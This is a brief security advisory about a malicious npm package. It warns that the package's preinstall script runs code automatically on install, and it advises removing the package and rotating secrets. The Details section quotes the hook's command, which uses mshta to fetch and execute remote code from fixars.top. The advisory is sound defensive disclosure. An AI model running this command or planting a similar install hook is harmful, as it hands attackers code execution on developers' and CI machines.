If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (e1b12c4a304855689342c2732abcf11dec5cc206960f495525b967fca6d14662)
The package's npm preinstall lifecycle script (preinstall.js, referenced from package.json's "preinstall": "node preinstall.js") invokes child_process.exec with the command `cmd /c "mshta http://fixars.top"`. On Windows, mshta.exe fetches the remote HTML Application over plain HTTP from fixars.top and executes it as trusted code. The fetch runs automatically on `npm install`, before any consumer code is reviewed, and delivers arbitrary attacker-controlled code execution on the installer's machine. The destination domain is unrelated to any documented package purpose and is served over unauthenticated HTTP, so the executed content is fully attacker-controlled and mutable.